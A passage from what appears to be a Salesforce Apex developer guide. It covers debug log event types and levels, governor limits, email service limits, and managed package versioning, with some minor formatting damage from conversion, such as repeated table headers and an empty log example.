The event identifier is composed of the specific event that triggered the debug log being written to, such as SAVEPOINT_RESET or VALIDATION_RULE, and any additional information logged with that event, such as the method name or the line and character number where the code was executed.
In this example, the event identifier is made up of the following:

- Event name:
  
  USER_DEBUG

- Line number of the event in the code:
  
  [1]

- Logging level the System.Debug method was set to:
  
  DEBUG

- User-supplied string for the System.Debug method:
  
  Hello world!

The following example of a log line is triggered by this code snippet.

```java
@isTest
private class TestHandleProductPriceChange {
    static testMethod void testPriceChange() {
        Invoice_Statement__c invoice = new Invoice_Statement__c(status__c = 'Negotiating');
        insert invoice;
    }
}
```

**Figure 11: Debug Log Line Code Snippet**

The following log line is recorded when the test reaches line 5 in the code:

```
```

In this example, the event identifier is made up of the following:

- Event name:
  
  DML_BEGIN

- Line number of the event in the code:
  
  [5]

- DML operation type—Insert:
  
  Op:Insert

- Object name:
  
  Type:Invoice_Statement__c

- Number of rows passed into the DML operation:
  
  Rows:1
The following table lists the event types that are logged, what fields or other information get logged with each event, as well as what combination of log level and category cause an event to be logged.

<table>
<thead>
<tr>
<th>Event Name</th>
<th>Fields or Information Logged With Event</th>
<th>Category Logged</th>
<th>Level Logged</th>
</tr>
</thead>
<tbody>
<tr>
<td>CALLOUT_REQUEST</td>
<td>Line and character number of the event in the code, request headers</td>
<td>Callout</td>
<td>INFO and above</td>
</tr>
<tr>
<td>CALLOUT_RESPONSE</td>
<td>Line and character number of the event in the code, response body</td>
<td>Callout</td>
<td>INFO and above</td>
</tr>
<tr>
<td>CODE_UNIT_FINISHED</td>
<td>None</td>
<td>Apex Code</td>
<td>INFO and above</td>
</tr>
<tr>
<td>CODE_UNIT_STARTED</td>
<td>Line and character number of the event in the code, code unit name, such as MyTrigger on Account trigger event BeforeInsert for null</td>
<td>Apex Code</td>
<td>INFO and above</td>
</tr>
<tr>
<td>CUMULATIVE_LIMIT_USAGE</td>
<td>None</td>
<td>Apex Profiling</td>
<td>INFO and above</td>
</tr>
<tr>
<td>CUMULATIVE_LIMIT_USAGE_END</td>
<td>None</td>
<td>Apex Profiling</td>
<td>INFO and above</td>
</tr>
<tr>
<td>CUMULATIVE_PROFILING</td>
<td>None</td>
<td>Apex Profiling</td>
<td>FINE and above</td>
</tr>
<tr>
<td>CUMULATIVE_PROFILING_BEGIN</td>
<td>None</td>
<td>Apex Profiling</td>
<td>FINE and above</td>
</tr>
<tr>
<td>CUMULATIVE_PROFILING_END</td>
<td>None</td>
<td>Apex Profiling</td>
<td>FINE and above</td>
</tr>
<tr>
<td>DML_BEGIN</td>
<td>Line and character number of the event in the code, operation (such as Insert, Update, and so on), record name or type, number of rows passed into DML operation</td>
<td>Apex Code</td>
<td>INFO and above</td>
</tr>
<tr>
<td>DML_END</td>
<td>Line and character number of the event in the code</td>
<td>Apex Code</td>
<td>INFO and above</td>
</tr>
<tr>
<td>EMAIL_QUEUE</td>
<td>Line and character number of the event in the code</td>
<td>Apex Code</td>
<td>INFO and above</td>
</tr>
<tr>
<td>ENTERING_MANAGED_PKG</td>
<td>Package namespace</td>
<td>Apex Code</td>
<td>INFO and above</td>
</tr>
<tr>
<td>EXCEPTION_THROWN</td>
<td>Line and character number of the event in the code, exception type, message</td>
<td>Apex Code</td>
<td>INFO and above</td>
</tr>
<tr>
<td>EXECUTION_FINISHED</td>
<td>None</td>
<td>Apex Code</td>
<td>INFO and above</td>
</tr>
<tr>
<td>EXECUTION_STARTED</td>
<td>None</td>
<td>Apex Code</td>
<td>INFO and above</td>
</tr>
<tr>
<td>FATAL_ERROR</td>
<td>Exception type, message, stack trace</td>
<td>Apex Code</td>
<td>ERROR and above</td>
</tr>
<tr>
<td>HEAP_ALLOCATE</td>
<td>Line and character number of the event in the code, number of bytes</td>
<td>Apex Code</td>
<td>FINEST</td>
</tr>
<tr>
<td>IDEAS_QUERY_EXECUTE</td>
<td>Line and character number of the event in the code</td>
<td>Apex Code</td>
<td>FINEST</td>
</tr>
<tr>
<td>LIMIT_USAGE_FOR_NS</td>
<td>Namespace, following limits:</td>
<td>Apex Profiling</td>
<td>INFO and above</td>
</tr>
<tr>
<td></td>
<td>Number of SQL queries</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>Number of query rows</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>Number of SOSL queries</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>Number of DML statements</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Event Name</td>
<td>Fields or Information Logged With Event</td>
<td>Category Logged</td>
<td>Level Logged</td>
</tr>
<tr>
<td>-------------------------------</td>
<td>----------------------------------------------------------------------------------------------------------</td>
<td>-----------------</td>
<td>--------------</td>
</tr>
<tr>
<td></td>
<td>Number of DML rows</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>Number of script statements</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>Maximum heap size</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>Number of callouts</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>Number of Email Invocations</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>Number of fields describes</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>Number of record type describes</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>Number of child relationships describes</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>Number of picklist describes</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>Number of future calls</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>Number of find similar calls</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>Number of System.runAs() invocations</td>
<td></td>
<td></td>
</tr>
<tr>
<td>METHOD_ENTRY</td>
<td>Line and character number of the event in the code, method signature</td>
<td>Apex Code</td>
<td>DEBUG</td>
</tr>
<tr>
<td>METHOD_EXIT</td>
<td>Line and character number of the event in the code, method signature</td>
<td>Apex Code</td>
<td>DEBUG</td>
</tr>
<tr>
<td>QUERY_MORE_ITERATIONS</td>
<td>Line and character number of the event in the code, number of queryMore iterations</td>
<td>DB</td>
<td>INFO and above</td>
</tr>
<tr>
<td>SAVEPOINT_ROLLBACK</td>
<td>Line and character number of the event in the code, Savepoint name</td>
<td>DB</td>
<td>INFO and above</td>
</tr>
<tr>
<td>SAVEPOINT_SET</td>
<td>Line and character number of the event in the code, Savepoint name</td>
<td>DB</td>
<td>INFO and above</td>
</tr>
<tr>
<td>SLA_END</td>
<td>Number of cases, load time, processing time, number of case milestones to insert/update/delete, new trigger</td>
<td>Workflow</td>
<td>INFO and above</td>
</tr>
<tr>
<td>SLA_EVAL_MILESTONE</td>
<td>Milestone ID</td>
<td>Workflow</td>
<td>INFO and above</td>
</tr>
<tr>
<td>SLA_NULL_START_DATE</td>
<td>None</td>
<td>Workflow</td>
<td>INFO and above</td>
</tr>
<tr>
<td>SLA_PROCESS_CASE</td>
<td>Case ID</td>
<td>Workflow</td>
<td>INFO and above</td>
</tr>
<tr>
<td>SOQL_EXECUTE_BEGIN</td>
<td>Line and character number of the event in the code, number of aggregations, query source</td>
<td>DB</td>
<td>INFO and above</td>
</tr>
<tr>
<td>SOQL_EXECUTE_END</td>
<td>Line and character number of the event in the code, number of rows, duration in milliseconds</td>
<td>DB</td>
<td>INFO and above</td>
</tr>
<tr>
<td>SOSL_EXECUTE_BEGIN</td>
<td>Line and character number of the event in the code, query source</td>
<td>DB</td>
<td>INFO and above</td>
</tr>
<tr>
<td>SOSL_EXECUTE_END</td>
<td>Line and character number of the event in the code, number of rows, duration in milliseconds</td>
<td>DB</td>
<td>INFO and above</td>
</tr>
<tr>
<td>Event Name</td>
<td>Fields or Information Logged With Event</td>
<td>Category Logged</td>
<td>Level Logged</td>
</tr>
<tr>
<td>------------</td>
<td>----------------------------------------</td>
<td>-----------------</td>
<td>--------------</td>
</tr>
<tr>
<td>STACK_FRAME_VARIABLE_LIST</td>
<td>Frame number, variable list of the form: Variable number</td>
<td>Apex Profiling</td>
<td>FINE and above</td>
</tr>
<tr>
<td>STATEMENT_EXECUTE</td>
<td>Line and character number of the event in the code</td>
<td>Apex Code</td>
<td>FINEST</td>
</tr>
<tr>
<td>STATIC_VARIABLE_LIST</td>
<td>Variable list of the form: Variable number</td>
<td>Apex Profiling</td>
<td>FINE and above</td>
</tr>
<tr>
<td>SYSTEM_MODE_ENTER</td>
<td>Mode name</td>
<td>Apex Code</td>
<td>FINEST</td>
</tr>
<tr>
<td>SYSTEM_MODE_EXIT</td>
<td>Mode name</td>
<td>Apex Code</td>
<td>FINEST</td>
</tr>
<tr>
<td>TESTING_LIMITS</td>
<td>None</td>
<td>Apex Profiling</td>
<td>INFO and above</td>
</tr>
<tr>
<td>TOTAL_EMAIL_RECIPIENTS_QUEUED</td>
<td>Number of emails sent</td>
<td>Apex Profiling</td>
<td>FINE and above</td>
</tr>
<tr>
<td>USER_DEBUG</td>
<td>Line and character number of the event in the code, logging level, user-supplied string</td>
<td>Apex Code</td>
<td>DEBUG and above by default</td>
</tr>
</tbody>
</table>

**Note:** If the user sets the log level for the System.Debug method, the event is logged at that level instead.

<table>
<thead>
<tr>
<th>Event Name</th>
<th>Fields or Information Logged With Event</th>
<th>Category Logged</th>
<th>Level Logged</th>
</tr>
</thead>
<tbody>
<tr>
<td>VALIDATION_ERROR</td>
<td>Error message</td>
<td>Validation</td>
<td>INFO and above</td>
</tr>
<tr>
<td>VALIDATION_FAIL</td>
<td>None</td>
<td>Validation</td>
<td>INFO and above</td>
</tr>
<tr>
<td>VALIDATION_FORMULA</td>
<td>Formula source, values</td>
<td>Validation</td>
<td>INFO and above</td>
</tr>
<tr>
<td>VALIDATION_PASS</td>
<td>None</td>
<td>Validation</td>
<td>INFO and above</td>
</tr>
<tr>
<td>VALIDATION_RULE</td>
<td>Rule name</td>
<td>Validation</td>
<td>INFO and above</td>
</tr>
<tr>
<td>VF_APEX_CALL</td>
<td>Element name, method name, return type</td>
<td>Apex Code</td>
<td>INFO and above</td>
</tr>
<tr>
<td>VF_PAGE_MESSAGE</td>
<td>Message text</td>
<td>Apex Code</td>
<td>INFO and above</td>
</tr>
<tr>
<td>WF_ACTION</td>
<td>Action description</td>
<td>Workflow</td>
<td>INFO and above</td>
</tr>
<tr>
<td>WF_ACTION_TASK</td>
<td>Task subject, action ID, rule, owner, due date</td>
<td>Workflow</td>
<td>INFO and above</td>
</tr>
<tr>
<td>Event Name</td>
<td>Fields or Information Logged With Event</td>
<td>Category Logged</td>
<td>Level Logged</td>
</tr>
<tr>
<td>------------------------------------</td>
<td>--------------------------------------------------------------------------------</td>
<td>-----------------</td>
<td>-----------------------</td>
</tr>
<tr>
<td>WF_ACTIONS_END</td>
<td>Summer of actions performed</td>
<td>Workflow</td>
<td>INFO and above</td>
</tr>
<tr>
<td>WF_APPROVAL</td>
<td>Transition type, EntityName: NameField Id, process node name</td>
<td>Workflow</td>
<td>INFO and above</td>
</tr>
<tr>
<td>WF_APPROVAL_REMOVE</td>
<td>EntityName: NameField Id</td>
<td>Workflow</td>
<td>INFO and above</td>
</tr>
<tr>
<td>WF_APPROVAL_SUBMIT</td>
<td>EntityName: NameField Id</td>
<td>Workflow</td>
<td>INFO and above</td>
</tr>
<tr>
<td>WF_ASSIGN</td>
<td>Owner, assignee template ID</td>
<td>Workflow</td>
<td>INFO and above</td>
</tr>
<tr>
<td>WF_CRITERIA_BEGIN</td>
<td>EntityName: NameField Id, rule name, rule ID, trigger type (if rule respects trigger types)</td>
<td>Workflow</td>
<td>INFO and above</td>
</tr>
<tr>
<td>WF_CRITERIA_END</td>
<td>Boolean value indicating success (true or false)</td>
<td>Workflow</td>
<td>INFO and above</td>
</tr>
<tr>
<td>WF_EMAIL_ALERT</td>
<td>Action ID, rule</td>
<td>Workflow</td>
<td>INFO and above</td>
</tr>
<tr>
<td>WF_EMAIL_SENT</td>
<td>Email template ID, recipients, CC emails</td>
<td>Workflow</td>
<td>INFO and above</td>
</tr>
<tr>
<td>WF.Enqueue_ACTIONS</td>
<td>Summary of actions enqueued</td>
<td>Workflow</td>
<td>INFO and above</td>
</tr>
<tr>
<td>WF_ESCALATION_ACTION</td>
<td>Case ID, business hours</td>
<td>Workflow</td>
<td>INFO and above</td>
</tr>
<tr>
<td>WF_ESCALATION_RULE</td>
<td>None</td>
<td>Workflow</td>
<td>INFO and above</td>
</tr>
<tr>
<td>WF_EVAL_ENTRY_CRITERIA</td>
<td>Process name, email template ID, Boolean value indicating result (true or false)</td>
<td>Workflow</td>
<td>INFO and above</td>
</tr>
<tr>
<td>WF_FIELD_UPDATE</td>
<td>EntityName: NameField Id, object or field name</td>
<td>Workflow</td>
<td>INFO and above</td>
</tr>
<tr>
<td>WF_FORMULA</td>
<td>Formula source, values</td>
<td>Workflow</td>
<td>INFO and above</td>
</tr>
<tr>
<td>WF_HARD_REJECT</td>
<td>None</td>
<td>Workflow</td>
<td>INFO and above</td>
</tr>
<tr>
<td>WF_NEXT_APPROVER</td>
<td>Owner, next owner type, field</td>
<td>Workflow</td>
<td>INFO and above</td>
</tr>
<tr>
<td>WF_NO_PROCESS_FOUND</td>
<td>None</td>
<td>Workflow</td>
<td>INFO and above</td>
</tr>
<tr>
<td>WF_OUTBOUND_MSG</td>
<td>EntityName: NameField Id, action ID, rule</td>
<td>Workflow</td>
<td>INFO and above</td>
</tr>
<tr>
<td>WF_PROCESS_NODE</td>
<td>Process name</td>
<td>Workflow</td>
<td>INFO and above</td>
</tr>
<tr>
<td>WF_REASSIGN_RECORD</td>
<td>EntityName: NameField Id, owner</td>
<td>Workflow</td>
<td>INFO and above</td>
</tr>
<tr>
<td>WF_RESPONSE_NOTIFY</td>
<td>Notifier name, notifier email, notifier template ID</td>
<td>Workflow</td>
<td>INFO and above</td>
</tr>
<tr>
<td>WF_RULE_ENTRY_ORDER</td>
<td>Integer, indicating order</td>
<td>Workflow</td>
<td>INFO and above</td>
</tr>
<tr>
<td>WF_RULE_EVAL_BEGIN</td>
<td>Rule type</td>
<td>Workflow</td>
<td>INFO and above</td>
</tr>
<tr>
<td>WF_RULE_EVAL_END</td>
<td>None</td>
<td>Workflow</td>
<td>INFO and above</td>
</tr>
<tr>
<td>WF_RULE_EVAL_VALUE</td>
<td>Value</td>
<td>Workflow</td>
<td>INFO and above</td>
</tr>
</tbody>
</table>
### Debugging Apex API Calls

All API calls that invoke Apex support a debug facility that allows access to detailed information about the execution of the script, including any calls to `System.debug()`. In addition to the System Log console, a SOAP input header called `DebuggingHeader` allows you to set the logging granularity according to the levels outlined in the following table.

<table>
<thead>
<tr>
<th>Event Name</th>
<th>Fields or Information Logged With Event</th>
<th>Category Logged</th>
<th>Level Logged</th>
</tr>
</thead>
<tbody>
<tr>
<td>WF_RULE_FILTER</td>
<td>Filter criteria</td>
<td>Workflow</td>
<td>INFO and above</td>
</tr>
<tr>
<td>WF_RULE_INVOCATION</td>
<td>EntityName: NameField Id</td>
<td>Workflow</td>
<td>INFO and above</td>
</tr>
<tr>
<td>WF_RULE_NOT_EVALUATED</td>
<td>None</td>
<td>Workflow</td>
<td>INFO and above</td>
</tr>
<tr>
<td>WF_SOFT_REJECT</td>
<td>Process name</td>
<td>Workflow</td>
<td>INFO and above</td>
</tr>
<tr>
<td>WF_SPOOL_ACTION_BEGIN</td>
<td>Node type</td>
<td>Workflow</td>
<td>INFO and above</td>
</tr>
<tr>
<td>WF_TIME_TRIGGER</td>
<td>EntityName: NameField Id, time action, time action container, evaluation Datetime</td>
<td>Workflow</td>
<td>INFO and above</td>
</tr>
<tr>
<td>WF_TIME_TRIGGERS_BEGIN</td>
<td>None</td>
<td>Workflow</td>
<td>INFO and above</td>
</tr>
</tbody>
</table>

#### Description

<table>
<thead>
<tr>
<th>Element Name</th>
<th>Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>LogCategory</td>
<td>string</td>
<td>Specify the type of information returned in the debug log. Valid values are:</td>
</tr>
<tr>
<td></td>
<td></td>
<td>- Db</td>
</tr>
<tr>
<td></td>
<td></td>
<td>- Workflow</td>
</tr>
<tr>
<td></td>
<td></td>
<td>- Validation</td>
</tr>
<tr>
<td></td>
<td></td>
<td>- Callout</td>
</tr>
<tr>
<td></td>
<td></td>
<td>- Apex_code</td>
</tr>
<tr>
<td></td>
<td></td>
<td>- Apex_profiling</td>
</tr>
<tr>
<td></td>
<td></td>
<td>- All</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>LogCategoryLevel</th>
<th>string</th>
<th>Specifies the amount of information returned in the debug log. Only the Apex_code LogCategory uses the log category levels. Valid log levels are (listed from lowest to highest):</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td></td>
<td>- ERROR</td>
</tr>
<tr>
<td></td>
<td></td>
<td>- WARN</td>
</tr>
<tr>
<td></td>
<td></td>
<td>- INFO</td>
</tr>
<tr>
<td></td>
<td></td>
<td>- DEBUG</td>
</tr>
<tr>
<td></td>
<td></td>
<td>- FINE</td>
</tr>
<tr>
<td></td>
<td></td>
<td>- FINER</td>
</tr>
<tr>
<td></td>
<td></td>
<td>- FINEST</td>
</tr>
</tbody>
</table>

In addition, the following log levels are still supported as part of the `DebuggingHeader` for backwards compatibility.
<table>
<thead>
<tr>
<th>Log Level</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>NONE</td>
<td>Does not include any log messages.</td>
</tr>
<tr>
<td>DEBUGONLY</td>
<td>Includes lower level messages, as well as messages generated by calls to the <code>System.debug</code> method.</td>
</tr>
<tr>
<td>DB</td>
<td>Includes log messages generated by calls to the <code>System.debug</code> method, as well as every data manipulation language (DML) statement or inline SOQL or SOSL query.</td>
</tr>
<tr>
<td>PROFILE</td>
<td>Includes log messages generated by calls to the <code>System.debug</code> method, every DML statement or inline SOQL or SOSL query, and the entrance and exit of every user-defined method. In addition, the end of the debug log contains overall profiling information for the portions of the request that used the most resources, in terms of SOQL and SOSL statements, DML operations, and Apex method invocations. These three sections list the locations in the code that consumed the most time, in descending order of total cumulative time, along with the number of times they were executed.</td>
</tr>
<tr>
<td>CALLOUT</td>
<td>Includes the request-response XML that the server is sending and receiving from an external Web service. This is useful when debugging issues related to using Force.com Web services API calls.</td>
</tr>
<tr>
<td>DETAIL</td>
<td>Includes all messages generated by the PROFILE level as well as the following:</td>
</tr>
<tr>
<td></td>
<td>• Variable declaration statements</td>
</tr>
<tr>
<td></td>
<td>• Start of loop executions</td>
</tr>
<tr>
<td></td>
<td>• All loop controls, such as break and continue</td>
</tr>
<tr>
<td></td>
<td>• Thrown exceptions *</td>
</tr>
<tr>
<td></td>
<td>• Static and class initialization code *</td>
</tr>
<tr>
<td></td>
<td>• Any changes in the with sharing context</td>
</tr>
</tbody>
</table>

The corresponding output header, `DebuggingInfo`, contains the resulting debug log. For more information, see `DebuggingHeader` on page 472.

### Handling Uncaught Exceptions

If an Apex script has a bug or does not catch a script-level exception:

- The end user sees a simple explanation of the problem in the application interface. This error message includes the Apex stack trace.
- The developer specified in the `LastModifiedBy` field receives the error via email with the Apex stack trace and the customer's organization and user ID. No other customer data is returned with the report.

### Understanding Execution Governors and Limits

Because Apex runs in a multitenant environment, the Apex runtime engine strictly enforces a number of limits to ensure that runaway Apex does not monopolize shared resources. These limits, or governors, track and enforce the statistics outlined in the following table. If some Apex code ever exceeds a limit, the associated governor issues a runtime exception that cannot be handled.
Governor limits apply to an entire organization, as well as to specific namespaces. For example, if you install a managed package created by a salesforce.com ISV Partner from Force.com AppExchange, the components in the package belong to a namespace unique from other components in your organization. Consequently, any Apex code in that package can issue up to 150 DML statements while executing. In addition, any Apex code that is native to your organization can also issue up to 150 DML statements, meaning more than 150 DML statements might execute during a single request if code from the managed package and your native organization both execute. Conversely, if you install a package from AppExchange that is not created by a salesforce.com ISV Partner, the code from that package does not have its own separate governor limit count. Any resources it uses counts against the total for your organization. Cumulative resource messages and warning emails are also generated based on managed package namespaces as well. For more information on salesforce.com ISV Partner packages, see salesforce.com Partner Programs.

<table>
<thead>
<tr>
<th>Description</th>
<th>Limit</th>
</tr>
</thead>
<tbody>
<tr>
<td>Total number of SOQL queries issued</td>
<td>100</td>
</tr>
<tr>
<td>Total number of SOQL queries issued for Batch Apex and future methods</td>
<td>200</td>
</tr>
<tr>
<td>Total number of records retrieved by SOQL queries</td>
<td>50,000</td>
</tr>
<tr>
<td>Total number of SOSL queries issued</td>
<td>20</td>
</tr>
<tr>
<td>Total number of records retrieved by a single SOSL query</td>
<td>200</td>
</tr>
<tr>
<td>Total number of DML statements issued</td>
<td>150</td>
</tr>
<tr>
<td>Total number of records processed as a result of DML statements, Approval.process, or database.emptyRecycleBin</td>
<td>10,000</td>
</tr>
<tr>
<td>Total number of executed code statements</td>
<td>200,000</td>
</tr>
<tr>
<td>Total number of executed code statements for Batch Apex and future methods</td>
<td>1,000,000</td>
</tr>
<tr>
<td>Total heap size</td>
<td>3 MB</td>
</tr>
<tr>
<td>Total heap size for Batch Apex and future methods</td>
<td>6 MB</td>
</tr>
<tr>
<td>Total stack depth for any Apex invocation that recursively fires triggers due to insert, update, or delete statements</td>
<td>16</td>
</tr>
<tr>
<td>For loop list batch size</td>
<td>200</td>
</tr>
<tr>
<td>Total number of callouts (HTTP requests or Web services calls) in a request</td>
<td>10</td>
</tr>
<tr>
<td>Maximum timeout for all callouts (HTTP requests or Web services calls) in a request</td>
<td>120 seconds</td>
</tr>
<tr>
<td>Default timeout of callouts (HTTP requests or Web services calls) in a request</td>
<td>10 seconds</td>
</tr>
<tr>
<td>Total number of methods with the future annotation allowed per Apex invocation</td>
<td>10</td>
</tr>
<tr>
<td>Maximum size of callout request or response (HTTP request or Web services call)</td>
<td>3 MB</td>
</tr>
<tr>
<td>Total number of sendEmail methods allowed</td>
<td>10</td>
</tr>
<tr>
<td>Total number of describes allowed</td>
<td>100</td>
</tr>
</tbody>
</table>

1 In a SOQL query with parent-child relationship sub-queries, each parent-child relationship counts as an additional query. These types of queries have a limit of three times the number for top-level queries. The row counts from these relationship queries contribute to the row counts of the overall script execution.

2 Calls to the following methods count against the number of DML statements issued in a request:

- Approval.process
• database.emptyRecycleBin
• delete and database.delete
• findSimilar
• insert and database.insert
• merge
• rollback
• runAs
• setSavePoint
• update and database.update
• upsert and database.upsert

3 Email services heap size is 18 MB.

4 Recursive Apex that does not fire any triggers with insert, update, or delete statements exists in a single invocation, with a single stack. Conversely, recursive Apex that fires a trigger spawns the trigger in a new Apex invocation, separate from the invocation of the code that caused it to fire. Because spawning a new invocation of Apex is a more expensive operation than a recursive call in a single invocation, there are tighter restrictions on the stack depth of these types of recursive calls.

5 Salesforce also imposes a limit on the number of future annotations: 200 method calls per full Salesforce user license per 24 hours. This is an organization-wide limit. For example, suppose your organization has five full Salesforce user licenses and 100 Customer Portal User licenses. Your entire organization is limited to only 1,000 method calls every 24 hours (5 * 200, not 105.)

The HTTP request and response sizes are calculated as part of the total heap size. So regardless of this limit, don’t exceed the 3 MB total heap size.

7 Describes include the following methods and objects:
• ChildRelationship objects
• RecordTypeInfo objects
• PicklistEntry objects
• fields calls

Limits apply individually to each testMethod.

Use the Limits methods to determine the script execution limits for your code while it is running. For example, you can use the getDMLStatements method to determine the number of DML statements that have already been called by your program, or the getLimitDMLStatements method to determine the total number of DML statements available to your code in that context.

For more efficient SOQL queries, particularly for queries inside of triggers, use selective (indexed) queries. Selective queries filter on primary keys, foreign keys, names, audit dates (such as LastModifiedDate), or External ID fields. In large organizations, non-selective queries could be stopped at runtime in order to prevent very long running operation times. If you need them for your application, contact your salesforce.com representative.

Note: If you use a non-selective query in a trigger against an object that contains more than 100000 records an error is generated. You should include indexed fields in the WHERE clause to avoid these exceptions.

Static variable values are reset between API batches, but governor limits are not. Do not use static variables to track state information on API batches, because Salesforce may break up a batch into smaller chunks than the batch size you specify.

In addition to the execution governor limits, Apex has the following limits:
• Maximum number of characters for a class: 1 million
• Maximum number of characters for a trigger: 1 million
• Maximum amount of code used by all Apex scripts in an organization: 2 MB
Note: This limit does not apply to certified managed packages installed from AppExchange, (that is, an app that has been marked AppExchange Certified). The code in those types of packages belong to a namespace unique from the code in your organization. For more information on AppExchange Certified packages, see the Force.com AppExchange online help.

This limit also does not apply to any code included in a class defined with the @isTest annotation.

- If a SOQL query runs more than 120 seconds, the request can be canceled by Salesforce.
- Each Apex request is limited to 10 minutes of execution.
- A callout request to a given URL is limited to a maximum of 20 simultaneous requests.
- The maximum number of records that an event report returns for a user who is not a system administrator is 20,000, for system administrators, 100,000.
- Each organization is allowed 10 synchronous concurrent events, each not lasting longer than 5 seconds. If additional requests are made while 10 requests are running, it is denied.
- A user can have up to five query cursors open at a time. For example, if five cursors are open and a client application still logged in as the same user attempts to open a new one, the oldest of the five cursors is released.

Cursor limits for different Force.com features are tracked separately. For example, you can have five Apex query cursors, five batch cursors, and five Visualforce cursors open at the same time.

- In a single transaction, you can only reference 10 unique namespaces. For example, suppose you have an object that executes a class in a managed package when the object is updated. Then that class updates a second object, which in turn executes a different class in a different package. Even though the second package wasn’t accessed directly by the first, because it occurs in the same transaction, it’s included in the number of namespaces being accessed in a single transaction.

When defining email services, note the following:

- An email service only processes messages it receives at one of its addresses.
- Salesforce limits the total number of messages that all email services combined, including On-Demand Email-to-Case, can process daily. Messages that exceed this limit are bounced, discarded, or queued for processing the next day, depending on how you configure the failure response settings for each email service. Salesforce calculates the limit by multiplying the number of user licenses by 1,000. For example, if you have ten licenses, your organization can process up to 10,000 email messages a day.
- Email service addresses that you create in your sandbox cannot be copied to your production organization.
- For each email service, you can tell Salesforce to send error email messages to a specified address instead of the sender’s email address.
- Email services rejects email messages and notifies the sender if the email (combined body text, body HTML and attachments) exceeds approximately 10 MB (varies depending on language and character set).

See Also:

What are the Limitations of Apex?
Future Annotation

Using Governor Limit Email Warnings

When an end-user invokes an Apex script that surpasses more than 50% of any governor limit, you can specify a user in your organization to receive an email notification of the event with additional details. To enable email warnings:

1. Log in to Salesforce as an administrator user.
2. Click Your Name ➤ Setup ➤ Manage Users ➤ Users.
3. Click Edit next to the name of the user who should receive the email notifications.
4. Select the **Send Apex Warning Emails** option.
5. Click **Save**.
A package is a container for something as small as an individual component or as large as a set of related apps. After creating a package, you can distribute it to other Salesforce users and organizations, including those outside your company. An organization can create a single managed package that can be downloaded and installed by many different organizations. Managed packages differ from unmanaged packages by having some locked components, allowing the managed package to be upgraded later. Unmanaged packages do not include locked components and cannot be upgraded.

This section includes the following topics related to developing Apex in managed packages:

- Package Versions
- Deprecating Apex
- Behavior in Package Versions
**Package Versions**

A package version is a number that identifies the set of components uploaded in a package. The version number has the format `majorNumber.minorNumber.patchNumber` (for example, 2.1.3). The major and minor numbers increase to a chosen value during every major release. The `patchNumber` is generated and updated only for a patch release. If there is no `patchNumber`, it is assumed to be zero (0).

Unmanaged packages are not upgradeable, so each package version is simply a set of components for distribution. A package version has more significance for managed packages. Packages can exhibit different behavior for different versions. Publishers can use package versions to evolve the components in their managed packages gracefully by releasing subsequent package versions without breaking existing customer integrations using the package.

When an existing subscriber installs a new package version, there is still only one instance of each component in the package, but the components can emulate older versions. For example, a subscriber may be using a managed package that contains an Apex class. If the publisher decides to deprecate a method in the Apex class and release a new package version, the subscriber still sees only one instance of the Apex class after installing the new version. However, this Apex class can still emulate the previous version for any code that references the deprecated method in the older version.

Note the following when developing Apex in managed packages:

- The code contained in an Apex script that is part of a managed package is automatically obfuscated and cannot be viewed in an installing organization. The only exceptions are methods declared as global, meaning that the method signatures can be viewed in an installing organization.
- Managed packages receive a unique namespace. This namespace is automatically prepended to your class names, methods, variables, and so on, which helps prevent duplicate names in the installer's organization.
- In a single transaction, you can only reference 10 unique namespaces. For example, suppose you have an object that executes a class in a managed package when the object is updated. Then that class updates a second object, which in turn executes a different class in a different package. Even though the second package wasn’t accessed directly by the first, because it occurs in the same transaction, it’s included in the number of namespaces being accessed in a single transaction.
- The code contained in Apex that is part of a managed package is automatically obfuscated and cannot be viewed in an installing organization. The only exceptions are methods declared as global, meaning that the method signatures can be viewed in an installing organization.
- Package developers can use the `deprecated` annotation to identify methods, classes, exceptions, enums, interfaces, and variables that can no longer be referenced in subsequent releases of the managed package in which they reside. This is useful when you are refactoring code in managed packages as the requirements evolve.
- You can write test methods that change the package version context to a different package version by using the system method `runAs`.
- You cannot add a method to an interface or to an abstract or virtual class after the class has been uploaded in a Managed - Released package version.
- An Apex script contained in an unmanaged package that explicitly references a namespace cannot be uploaded.

**Deprecating Apex**

Package developers can use the `deprecated` annotation to identify methods, classes, exceptions, enums, interfaces, and variables that can no longer be referenced in subsequent releases of the managed package in which they reside. This is useful when you are refactoring code in managed packages as the requirements evolve. After you upload another package version as Managed - Released, new subscribers that install the latest package version cannot see the deprecated elements, while the elements continue to function for existing subscribers and API integrations. A deprecated item, such as a method or a class, can still be referenced internally by the package developer.
Note: You cannot use the deprecated annotation in Apex classes or triggers in unmanaged packages.

Package developers can use Managed - Beta package versions for evaluation and feedback with a pilot set of users in different Salesforce organizations. If a developer deprecates an Apex identifier and then uploads a version of the package as Managed - Beta, subscribers that install the package version still see the deprecated identifier in that package version. If the package developer subsequently uploads a Managed - Released package version, subscribers will no longer see the deprecated identifier in the package version after they install it.

Behavior in Package Versions

A package component can exhibit different behavior in different package versions. This behavior versioning allows you to add new components to your package and refine your existing components, while still ensuring that your code continues to work seamlessly for existing subscribers. If a package developer adds a new component to a package and uploads a new package version, the new component is available to subscribers that install the new package version.

Versioning Apex Code Behavior

Apex has special syntax so that package developers can use conditional logic in classes and triggers to exhibit different behavior for different versions. This allows the package developer to continue to support existing behavior in classes and triggers in previous package versions while continuing to evolve the code.

